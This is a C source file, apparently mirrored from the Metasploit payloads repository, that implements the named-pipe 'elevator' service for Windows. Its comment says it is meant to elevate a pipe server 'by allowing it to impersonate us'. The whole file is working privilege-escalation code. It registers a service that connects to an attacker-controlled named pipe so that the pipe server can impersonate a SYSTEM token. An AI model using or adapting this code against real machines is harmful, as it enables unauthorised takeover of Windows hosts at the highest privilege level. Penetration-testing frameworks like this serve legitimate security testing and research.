1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

132 lines
3.5 KiB
C

#include "elevator.h"
#include "namedpipeservice.h"
LPSTR lpServiceName = NULL;
SERVICE_STATUS_HANDLE hStatus = NULL;
HANDLE hTerminate = NULL;
SERVICE_STATUS status = {0};
DWORD dwElevateStatus = 0;
BOOL elevator_servicestatus( DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwWaitHint )
{
BOOL bSuccess = FALSE;
static DWORD dwCheckPoint = 1;
do
{
if( !hStatus )
break;
status.dwCurrentState = dwCurrentState;
status.dwWin32ExitCode = dwWin32ExitCode;
status.dwWaitHint = dwWaitHint;
if( dwCurrentState == SERVICE_START_PENDING )
status.dwControlsAccepted = 0;
else
status.dwControlsAccepted = SERVICE_ACCEPT_STOP;
if( ( dwCurrentState == SERVICE_RUNNING ) || ( dwCurrentState == SERVICE_STOPPED ) )
status.dwCheckPoint = 0;
else
status.dwCheckPoint = dwCheckPoint++;
bSuccess = SetServiceStatus( hStatus, &status );
} while( 0 );
return bSuccess;
}
void elevator_servicectrl( DWORD dwCode ) { }
/*
* The main service routine, which we use to connect a named pipe server before finishing.
*/
VOID elevator_serviceproc( DWORD argc, LPSTR * argv )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hPipe = NULL;
char cServicePipe[MAX_PATH] = {0};
DWORD dwBytes = 0;
BYTE bByte = 0;
do
{
hStatus = RegisterServiceCtrlHandler( lpServiceName, (LPHANDLER_FUNCTION)elevator_servicectrl );
if( !hStatus )
BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. RegisterServiceCtrlHandler failed" );
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
status.dwServiceSpecificExitCode = 0;
elevator_servicestatus( SERVICE_RUNNING, NO_ERROR, 0 );
_snprintf( cServicePipe, MAX_PATH, "\\\\.\\pipe\\%s", lpServiceName );
while( TRUE )
{
hPipe = CreateFileA( cServicePipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hPipe )
{
if( WriteFile( hPipe, &bByte, 1, &dwBytes, NULL ) )
break;
CLOSE_HANDLE( hPipe );
}
Sleep( 50 );
}
} while( 0 );
CLOSE_HANDLE( hPipe );
dwElevateStatus = dwResult;
elevator_servicestatus( SERVICE_STOPPED, NO_ERROR, 0 );
SetEvent( hTerminate );
}
/*
* Elevate a pipe server by allowing it to impersonate us.
*/
BOOL elevator_namedpipeservice( char * cpServiceName )
{
DWORD dwResult = ERROR_SUCCESS;
SERVICE_TABLE_ENTRY servicetable[2] = {0};
do
{
if( !cpServiceName )
BREAK_WITH_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE );
lpServiceName = _strdup( cpServiceName );
hTerminate = CreateEvent( 0, TRUE, FALSE, 0 );
if( !hTerminate )
BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. CreateEvent hTerminate failed" );
servicetable[0].lpServiceName = lpServiceName;
servicetable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)elevator_serviceproc;
servicetable[1].lpServiceName = NULL;
servicetable[1].lpServiceProc = NULL;
if( !StartServiceCtrlDispatcher( servicetable ) )
BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. StartServiceCtrlDispatcher failed" );
if( WaitForSingleObject( hTerminate, INFINITE ) != WAIT_OBJECT_0 )
BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. WaitForSingleObject failed" );
dwResult = dwElevateStatus;
} while( 0 );
CLOSE_HANDLE( hTerminate );
return dwResult;
}